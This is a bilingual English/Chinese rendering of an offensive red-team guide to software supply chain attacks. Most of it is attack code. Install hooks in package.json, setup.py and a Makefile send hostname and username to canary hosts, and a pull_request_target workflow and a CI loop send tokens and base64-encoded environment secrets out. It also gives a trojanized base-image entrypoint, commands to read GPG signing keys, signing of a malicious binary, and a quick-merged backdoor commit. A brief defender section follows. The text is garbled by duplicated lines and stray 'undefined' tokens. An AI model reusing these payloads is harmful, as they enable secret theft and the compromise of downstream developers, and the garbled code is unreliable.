offensive-supply-chain
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive Supply Chain Attacks
攻击性供应链攻击
Software supply chain attacks exploit the trust relationships between developers,
package registries, build systems, and deployment pipelines. You target the
components and processes that organizations depend on but rarely audit with the
same rigor as their own code. A single compromised dependency can propagate
across thousands of downstream consumers, making supply chain the highest
leverage attack surface in modern software ecosystems.
This skill covers the offensive lifecycle: reconnaissance of internal package
names, exploitation of registry resolution logic, build system hook abuse,
CI/CD pipeline tampering, and container image supply chain attacks. Every
technique maps to authorized red team engagement patterns with safe callback
mechanisms.
软件供应链攻击利用开发者、包 registry、构建系统和部署流水线之间的信任关系。
攻击目标是组织所依赖、但很少像审查自身代码那样严格审计的组件和流程。
单个受损依赖即可传播到数千名下游消费者,使供应链成为现代软件生态系统中
杠杆效应最高的攻击面。
本 skill 涵盖完整的攻击生命周期:侦察内部包名、利用 registry 解析逻辑、滥用构建
hook、篡改 CI/CD 流水线,以及发起容器镜像供应链攻击。每项技术均对应经授权的
红队行动模式,并采用安全的 callback 机制。
Quick Workflow
快速工作流
- Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
- Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
- Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
- Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
- Register the package on the public registry or stage the artifact for injection.
- Monitor for callback to confirm execution in the target environment.
- Document the attack path, affected systems, and remediation guidance.
- 从目标制品(lock 文件、source map、错误消息、GitHub 仓库)枚举内部包名。
- 识别包生态系统(npm、PyPI、NuGet、Maven、Go、Ruby)及 registry 配置。
- 选择攻击向量:依赖混淆、拼写仿冒、构建 hook 注入、CI/CD 篡改或容器供应链攻击。
- 准备带有 DNS canary 或 HTTP callback 的安全 PoC 包——不包含破坏性 payload。
- 在公共 registry 注册该包,或暂存制品以供注入。
- 监控 callback,确认其在目标环境中执行。
- 记录攻击路径、受影响系统和修复建议。
Dependency Confusion
依赖混淆
Dependency confusion exploits the resolution order when an organization uses
both private and public package registries. If the private registry is not
configured as the exclusive source, the package manager may prefer a
higher-versioned public package over the internal one.
当组织同时使用私有和公共包 registry 时,依赖混淆会利用解析顺序。如果未将私有
registry 配置为唯一来源,包管理器可能优先选择版本更高的公共包,而非内部包。
npm Dependency Confusion
npm 依赖混淆
When a project references an unscoped private package and the .npmrc does not
pin the registry exclusively, npm falls back to the public registry.
bash
undefined当项目引用未加 scope 的私有包,且 .npmrc 未将 registry 固定为唯一来源时,
npm 会回退到公共 registry。
bash
undefinedRecon: extract package names from package-lock.json or yarn.lock
Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
Check which names are unclaimed on the public npm registry
Check which names are unclaimed on the public npm registry
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
```json
// Malicious package.json with high version to win resolution
{
"name": "internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
}
}while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
```json
// Malicious package.json with high version to win resolution
{
"name": "internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
}
}PyPI Dependency Confusion
PyPI 依赖混淆
Python's pip resolves packages from PyPI by default. When organizations use
to add a private registry, pip considers both indexes and
selects the highest version.
--extra-index-urlbash
undefinedPython 的 pip 默认从 PyPI 解析包。当组织使用 添加私有
registry 时,pip 会同时考虑两个索引并选择最高版本。
--extra-index-urlbash
undefinedRecon: extract internal package names from requirements.txt or setup.cfg
Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<].//' | sed 's/[.//' | tr -d ' ' > pypi_names.txt
sed 's/[>=<].//' | sed 's/[.//' | tr -d ' ' > pypi_names.txt
grep -v '^#' requirements.txt | grep -v '^\s*$' |
sed 's/[>=<].//' | sed 's/[.//' | tr -d ' ' > pypi_names.txt
sed 's/[>=<].//' | sed 's/[.//' | tr -d ' ' > pypi_names.txt
Check availability on public PyPI
Check availability on public PyPI
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pypi_names.txt
```pythonwhile read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pypi_names.txt
```pythonsetup.py with install hook for safe callback
setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request
class PostInstall(install):
def run(self):
install.run(self)
hostname = socket.gethostname()
user = os.getenv("USER", "unknown")
urllib.request.urlopen(
f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
)
setup(
name="internal-data-lib",
version="99.0.0",
cmdclass={"install": PostInstall},
)
undefinedfrom setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request
class PostInstall(install):
def run(self):
install.run(self)
hostname = socket.gethostname()
user = os.getenv("USER", "unknown")
urllib.request.urlopen(
f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
)
setup(
name="internal-data-lib",
version="99.0.0",
cmdclass={"install": PostInstall},
)
undefinedNuGet Feed Priority
NuGet Feed 优先级
NuGet resolves from multiple configured feeds. If a private feed is listed
alongside nuget.org, the highest version across all feeds wins.
xml
<!-- nuget.config exposing the vulnerability -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
</packageSources>
</configuration>bash
undefinedNuGet 会从多个已配置的 feed 中解析包。如果私有 feed 与 nuget.org 一同列出,
则所有 feed 中的最高版本胜出。
xml
<!-- nuget.config exposing the vulnerability -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
</packageSources>
</configuration>bash
undefinedCheck NuGet public registry for unclaimed names
Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json"
| jq '.versions'
| jq '.versions'
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json"
| jq '.versions'
| jq '.versions'
Empty or 404 means the name is available
Empty or 404 means the name is available
undefinedundefinedAutomated Scanning with confused
使用 confused 进行自动化扫描
bash
undefinedbash
undefinedInstall confused (Go-based dependency confusion scanner)
Install confused (Go-based dependency confusion scanner)
go install github.com/visma-prodsec/confused@latest
go install github.com/visma-prodsec/confused@latest
Scan npm lock file for confusable packages
Scan npm lock file for confusable packages
confused -l npm package-lock.json
confused -l npm package-lock.json
Scan Python requirements
Scan Python requirements
confused -l pip requirements.txt
confused -l pip requirements.txt
Scan NuGet packages.config
Scan NuGet packages.config
confused -l nuget packages.config
---confused -l nuget packages.config
---Typosquatting Attacks
拼写仿冒攻击
Typosquatting relies on developers mistyping package names during installation.
You register packages with names that are common misspellings, hyphen/underscore
variants, or pluralization differences of popular packages.
bash
undefined拼写仿冒攻击(Typosquatting)依赖开发者在安装时输错包名。攻击者注册与热门包
名称相近的包,常见形式包括常见拼写错误、连字符/下划线变体或单复数差异。
bash
undefinedGenerate typosquat candidates for a target package
Generate typosquat candidates for a target package
target="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
```pythontarget="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
```pythonsetup.py for a typosquat PoC -- safe callback only
setup.py for a typosquat PoC -- safe callback only
from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket
class Callback(install):
def run(self):
install.run(self)
h = socket.gethostname()
urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
setup(
name="reqeusts", # common transposition typo
version="2.31.0",
description="This is a security research package.",
cmdclass={"install": Callback},
python_requires=">=3.6",
)
```javascript
// package.json for npm typosquat PoC
{
"name": "loadash",
"version": "4.17.21",
"description": "Security research package - typosquat detection",
"scripts": {
"preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
}
}from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket
class Callback(install):
def run(self):
install.run(self)
h = socket.gethostname()
urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
setup(
name="reqeusts", # common transposition typo
version="2.31.0",
description="This is a security research package.",
cmdclass={"install": Callback},
python_requires=">=3.6",
)
```javascript
// package.json for npm typosquat PoC
{
"name": "loadash",
"version": "4.17.21",
"description": "Security research package - typosquat detection",
"scripts": {
"preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
}
}Build System Attacks
构建系统攻击
Build systems execute arbitrary code during compilation, installation, and
packaging. You target the hooks and scripts that run implicitly when a developer
builds or installs a dependency.
构建系统会在编译、安装和打包期间执行任意代码。攻击目标是开发者在构建或
安装依赖时隐式运行的 hook 和脚本。
Makefile Injection
Makefile 注入
makefile
undefinedmakefile
undefinedInjected target that runs before the default build
Injected target that runs before the default build
.PHONY: all
all: backdoor build
backdoor:
@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
build:
gcc -o app main.c
undefined.PHONY: all
all: backdoor build
backdoor:
@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
build:
gcc -o app main.c
undefinedsetup.py Install Hooks (Python)
setup.py Install Hook(Python)
python
undefinedpython
undefinedsetup.py with multiple hook points
setup.py with multiple hook points
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
def callback():
import urllib.request, socket
urllib.request.urlopen(
f"https://canary.example.com/setup-{socket.gethostname()}"
)
class InstallHook(install):
def run(self):
callback()
install.run(self)
class DevelopHook(develop):
def run(self):
callback()
develop.run(self)
class EggInfoHook(egg_info):
def run(self):
callback()
egg_info.run(self)
setup(
name="compromised-lib",
version="1.0.0",
cmdclass={
"install": InstallHook,
"develop": DevelopHook,
"egg_info": EggInfoHook,
},
)
undefinedfrom setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
def callback():
import urllib.request, socket
urllib.request.urlopen(
f"https://canary.example.com/setup-{socket.gethostname()}"
)
class InstallHook(install):
def run(self):
callback()
install.run(self)
class DevelopHook(develop):
def run(self):
callback()
develop.run(self)
class EggInfoHook(egg_info):
def run(self):
callback()
egg_info.run(self)
setup(
name="compromised-lib",
version="1.0.0",
cmdclass={
"install": InstallHook,
"develop": DevelopHook,
"egg_info": EggInfoHook,
},
)
undefinednpm postinstall / preinstall Scripts
npm postinstall / preinstall 脚本
json
{
"name": "compromised-module",
"version": "1.0.0",
"scripts": {
"preinstall": "node callback.js",
"postinstall": "node callback.js",
"prepare": "node callback.js"
}
}javascript
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');
const data = JSON.stringify({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
cwd: process.cwd(),
env_ci: process.env.CI || "false",
env_build_id: process.env.BUILD_ID || "none"
});
const req = https.request({
hostname: 'canary.example.com',
port: 443,
path: '/npm-postinstall',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();json
{
"name": "compromised-module",
"version": "1.0.0",
"scripts": {
"preinstall": "node callback.js",
"postinstall": "node callback.js",
"prepare": "node callback.js"
}
}javascript
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');
const data = JSON.stringify({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
cwd: process.cwd(),
env_ci: process.env.CI || "false",
env_build_id: process.env.BUILD_ID || "none"
});
const req = https.request({
hostname: 'canary.example.com',
port: 443,
path: '/npm-postinstall',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();CI/CD Artifact Tampering
CI/CD 制品篡改
CI/CD pipelines produce artifacts -- binaries, container images, packages --
that downstream systems consume with implicit trust. You target the artifact
storage, transfer, and verification stages.
CI/CD 流水线会生成下游系统在隐式信任下消费的制品——二进制文件、容器镜像和包。
攻击目标是制品的存储、传输和验证阶段。
GitHub Actions Workflow Injection
GitHub Actions 工作流注入
yaml
undefinedyaml
undefinedMalicious workflow exploiting pull_request_target
Malicious workflow exploiting pull_request_target
name: Build
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# Attacker-controlled code now runs with repo secrets
- run: |
curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}"
https://canary.example.com/gha-secrets
https://canary.example.com/gha-secrets
undefinedname: Build
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# Attacker-controlled code now runs with repo secrets
- run: |
curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}"
https://canary.example.com/gha-secrets
https://canary.example.com/gha-secrets
undefinedArtifact Replacement in Storage
存储中的制品替换
bash
undefinedbash
undefinedIf artifact storage uses predictable paths or weak auth
If artifact storage uses predictable paths or weak auth
Replace a legitimate build artifact with a trojanized version
Replace a legitimate build artifact with a trojanized version
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz
Verify no integrity checks exist
Verify no integrity checks exist
404 -- no checksum published, replacement goes undetected
404 -- no checksum published, replacement goes undetected
undefinedundefinedPipeline Secret Extraction
流水线 Secret 提取
bash
undefinedbash
undefinedIn a compromised CI job, enumerate available secrets
In a compromised CI job, enumerate available secrets
env | grep -iE '(token|secret|key|pass|api)' |
while read line; do curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" done
while read line; do curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" done
---env | grep -iE '(token|secret|key|pass|api)' |
while read line; do curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" done
while read line; do curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" done
---Container Image Supply Chain
容器镜像供应链
Container registries and base images form a parallel supply chain. You target
the image pull resolution, base image integrity, and registry authentication.
容器 registry 和 base image 构成了并行供应链。攻击目标是镜像拉取解析、
base image 完整性和 registry 身份验证。
Base Image Trojaning
Base Image 木马植入
dockerfile
undefineddockerfile
undefinedAttacker publishes a trojanized version of a common base image
Attacker publishes a trojanized version of a common base image
FROM ubuntu:22.04
FROM ubuntu:22.04
Inject persistence into the base image
Inject persistence into the base image
RUN apt-get update && apt-get install -y curl &&
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh &&
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh &&
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh &&
chmod +x /usr/local/bin/entrypoint-hook.sh
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh &&
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh &&
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh &&
chmod +x /usr/local/bin/entrypoint-hook.sh
ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
undefinedRUN apt-get update && apt-get install -y curl &&
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh &&
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh &&
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh &&
chmod +x /usr/local/bin/entrypoint-hook.sh
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh &&
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh &&
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh &&
chmod +x /usr/local/bin/entrypoint-hook.sh
ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
undefinedRegistry Confusion
Registry 混淆
bash
undefinedbash
undefinedIf Dockerfile uses unqualified image names, Docker resolves from Docker Hub
If Dockerfile uses unqualified image names, Docker resolves from Docker Hub
A private registry image "myapp/backend" can be shadowed
A private registry image "myapp/backend" can be shadowed
docker pull myapp/backend # resolves to docker.io/myapp/backend
docker pull myapp/backend # resolves to docker.io/myapp/backend
Attacker registers docker.io/myapp/backend with a trojanized image
Attacker registers docker.io/myapp/backend with a trojanized image
Targets that do not pin their registry prefix pull the attacker image
Targets that do not pin their registry prefix pull the attacker image
undefinedundefinedImage Tag Mutability Attacks
镜像 Tag 可变性攻击
bash
undefinedbash
undefinedTags are mutable -- attacker with registry write access replaces a tag
Tags are mutable -- attacker with registry write access replaces a tag
Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version
Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version
Verify image digest before and after
Verify image digest before and after
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
Compare against known-good digest
Compare against known-good digest
sha256:abc123... vs sha256:def456... indicates tampering
sha256:abc123... vs sha256:def456... indicates tampering
---
---Code Signing Abuse
代码签名滥用
Code signing provides authenticity guarantees, but the signing infrastructure
itself presents attack surface.
bash
undefined代码签名提供真实性保证,但签名基础设施本身也会形成攻击面。
bash
undefinedGenerate a self-signed certificate mimicking a legitimate publisher
Generate a self-signed certificate mimicking a legitimate publisher
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
Sign a malicious binary (Windows Authenticode example)
Sign a malicious binary (Windows Authenticode example)
osslsigncode sign -certs cert.pem -key key.pem
-n "Legitimate Application" -i https://legitimate-publisher.com
-in malicious.exe -out signed-malicious.exe
-n "Legitimate Application" -i https://legitimate-publisher.com
-in malicious.exe -out signed-malicious.exe
osslsigncode sign -certs cert.pem -key key.pem
-n "Legitimate Application" -i https://legitimate-publisher.com
-in malicious.exe -out signed-malicious.exe
-n "Legitimate Application" -i https://legitimate-publisher.com
-in malicious.exe -out signed-malicious.exe
Many systems check "is it signed?" but not "by whom?"
Many systems check "is it signed?" but not "by whom?"
```bash
```bashSteal signing keys from CI/CD environment variables
Steal signing keys from CI/CD environment variables
Common locations for code signing secrets
Common locations for code signing secrets
echo $SIGNING_KEY
echo $CODE_SIGN_CERT
echo $GPG_PRIVATE_KEY
cat ~/.gnupg/private-keys-v1.d/*
---echo $SIGNING_KEY
echo $CODE_SIGN_CERT
echo $GPG_PRIVATE_KEY
cat ~/.gnupg/private-keys-v1.d/*
---Upstream Repository Compromise
上游仓库失陷
Compromising the source repository of a widely-used dependency gives you
code execution in every downstream consumer that updates.
bash
undefined失陷广泛使用的依赖的源代码仓库,可以让攻击者在每个更新该依赖的下游消费者中
执行代码。
bash
undefinedEnumerate maintainer accounts with weak security
Enumerate maintainer accounts with weak security
Look for maintainers without 2FA, reused passwords, or abandoned emails
Look for maintainers without 2FA, reused passwords, or abandoned emails
Check npm package maintainers
Check npm package maintainers
npm view lodash maintainers
npm view lodash maintainers
Check GitHub commit signing
Check GitHub commit signing
git log --show-signature -5
git log --show-signature -5
Unsigned commits mean a compromised account can push without detection
Unsigned commits mean a compromised account can push without detection
```bash
```bashAfter gaining maintainer access, inject a subtle backdoor
After gaining maintainer access, inject a subtle backdoor
Modify a rarely-reviewed utility function
Modify a rarely-reviewed utility function
git checkout -b patch-perf-improvement
git checkout -b patch-perf-improvement
Edit a deeply nested file
Edit a deeply nested file
Commit with a benign-looking message
Commit with a benign-looking message
git commit -m "perf: optimize string comparison for edge cases"
git push origin patch-perf-improvement
git commit -m "perf: optimize string comparison for edge cases"
git push origin patch-perf-improvement
Create a PR and merge quickly before review
Create a PR and merge quickly before review
---
---Detection / Defender View
检测/防御方视角
Defenders should implement the following controls to detect and prevent
supply chain attacks:
-
Registry pinning: Configure package managers to use only the private registry as the exclusive source. For npm, use scoped packages. For pip, use(not
--index-url). For NuGet, use--extra-index-urlbefore adding feeds.<clear /> -
Lock file integrity: Monitor lock files for unexpected changes in package sources, versions, or checksums. Require lock file review in pull requests.
-
Build reproducibility: Implement reproducible builds and compare artifacts across independent build environments.
-
Dependency scanning: Run,
dependency-check,npm audit, or Snyk in CI pipelines to catch known-vulnerable and suspicious packages.pip-audit -
Image pinning: Reference container images by digest, not tag. Useinstead of
image: registry.example.com/app@sha256:abc123....:latest -
Sigstore / cosign: Verify container image signatures and SBOMs. Monitor for unsigned images entering production.
-
CI/CD hardening: Restricttriggers, pin action versions by commit SHA, audit workflow permissions, and rotate secrets.
pull_request_target -
Internal package reservation: Proactively register internal package names on public registries with placeholder packages to prevent squatting.
bash
undefined防御方应实施以下控制措施,以检测和防止供应链攻击:
-
Registry 固定:将包管理器配置为仅使用私有 registry 作为唯一来源。对于 npm, 使用 scoped package。对于 pip,使用(而非
--index-url)。 对于 NuGet,在添加 feed 前使用--extra-index-url。<clear /> -
Lock 文件完整性:监控 lock 文件中包来源、版本或校验和的意外变化。 在 pull request 中要求审查 lock 文件。
-
构建可复现性:实施可复现构建,并比较独立构建环境生成的制品。
-
依赖扫描:在 CI 流水线中运行、
dependency-check、npm audit或 Snyk,以发现已知存在漏洞及可疑的包。pip-audit -
镜像固定:通过 digest 而非 tag 引用容器镜像。使用,而不是
image: registry.example.com/app@sha256:abc123...。:latest -
Sigstore / cosign:验证容器镜像签名和 SBOM。监控进入生产环境的未签名镜像。
-
CI/CD 加固:限制触发器,按 commit SHA 固定 action 版本,审计工作流权限,并轮换 secret。
pull_request_target -
内部包预留:主动在公共 registry 上注册内部包名,并使用占位包防止抢注。
bash
undefinedDetect dependency confusion attempts with confused
Detect dependency confusion attempts with confused
confused -l npm package-lock.json 2>&1 | grep "could be"
confused -l npm package-lock.json 2>&1 | grep "could be"
Monitor for unexpected outbound DNS/HTTP from build environments
Monitor for unexpected outbound DNS/HTTP from build environments
Alert on connections to unknown domains during install/build phases
Alert on connections to unknown domains during install/build phases
Audit npm packages for install scripts
Audit npm packages for install scripts
npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'
---npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'
---Engagement Cheatsheet
行动速查表
| Phase | Action | Risk Level |
|---|---|---|
| Recon | Extract internal package names from lock files | Low |
| Recon | Check public registry availability | Low |
| Staging | Register PoC package with DNS canary callback | Medium |
| Exploitation | Wait for target to install/build with confusion | Medium |
| Validation | Confirm callback received, document scope | Low |
| Cleanup | Remove PoC packages from public registries | Low |
| Reporting | Document attack path and remediation steps | Low |
Safe PoC guidelines:
- Use DNS canary (Burp Collaborator, interactsh, or custom) for callback.
- Never deploy destructive payloads. Exfiltrate only hostname and username.
- Register packages with clear security research descriptions.
- Remove all PoC packages from public registries within the engagement window.
- Coordinate with the target's security team before publishing to public registries.
MITRE ATT&CK mapping:
- T1195.001 -- Compromise Software Dependencies and Development Tools
- T1195.002 -- Compromise Software Supply Chain
- T1059.006 -- Command and Scripting Interpreter: Python (setup.py hooks)
- T1059.007 -- Command and Scripting Interpreter: JavaScript (npm scripts)
| 阶段 | 操作 | 风险级别 |
|---|---|---|
| 侦察 | 从 lock 文件提取内部包名 | 低 |
| 侦察 | 检查公共 registry 中的可用性 | 低 |
| 暂存 | 注册带 DNS canary callback 的 PoC 包 | 中 |
| 利用 | 等待目标因依赖混淆而执行安装/构建 | 中 |
| 验证 | 确认收到 callback,并记录影响范围 | 低 |
| 清理 | 从公共 registry 移除 PoC 包 | 低 |
| 报告 | 记录攻击路径和修复步骤 | 低 |
安全 PoC 指南:
- 使用 DNS canary(Burp Collaborator、interactsh 或自定义)进行 callback。
- 绝不部署破坏性 payload。仅导出 hostname 和 username。
- 注册包时使用明确的安全研究描述。
- 在行动窗口期内从公共 registry 移除所有 PoC 包。
- 在向公共 registry 发布内容前与目标安全团队协调。
MITRE ATT&CK 映射:
- T1195.001——攻陷软件依赖和开发工具
- T1195.002——攻陷软件供应链
- T1059.006——命令和脚本解释器:Python(setup.py hook)
- T1059.007——命令和脚本解释器:JavaScript(npm script)
Key References
主要参考资料
- Alex Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (2021)
- MITRE ATT&CK T1195 -- Supply Chain Compromise: https://attack.mitre.org/techniques/T1195/
- confused scanner: https://github.com/visma-prodsec/confused
- OWASP Dependency-Check: https://owasp.org/www-project-dependency-check/
- npm security advisories: https://github.com/advisories
- Sigstore / cosign: https://www.sigstore.dev/
- SLSA (Supply-chain Levels for Software Artifacts): https://slsa.dev/
- "Backstabber's Knife Collection" -- academic survey of malicious packages (2020)
- Snyk supply chain security research: https://snyk.io/blog/
- GitHub Advisory Database: https://github.com/advisories
- Alex Birsan,《依赖混淆:我是如何入侵 Apple、Microsoft 和其他数十家公司的》(2021)
- MITRE ATT&CK T1195——供应链攻陷:https://attack.mitre.org/techniques/T1195/
- confused 扫描器:https://github.com/visma-prodsec/confused
- OWASP Dependency-Check:https://owasp.org/www-project-dependency-check/
- npm 安全公告:https://github.com/advisories
- Sigstore / cosign:https://www.sigstore.dev/
- SLSA(软件制品供应链级别):https://slsa.dev/
- 《Backstabber's Knife Collection》——恶意包学术综述(2020)
- Snyk 供应链安全研究:https://snyk.io/blog/
- GitHub Advisory Database:https://github.com/advisories